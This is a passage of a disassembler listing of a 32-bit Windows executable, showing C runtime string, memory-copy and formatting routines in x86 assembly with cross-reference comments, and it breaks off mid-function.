loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CFp ; sub_401ACD+6A10p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 26B017Ah nop test eax, eax jnz short loc_41BDF2 nop call near ptr 26B0857h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D3p ; ___:00411CA2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E82p ; sub_401ACD+1EA1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB9A4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB9A4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2D+1Cp ; sub_415221+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEB+88p ; sub_40B64B+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA4+15p ; sub_40BFA4+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEC+40p ; ___:0040E2A0p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D031+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A970 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: 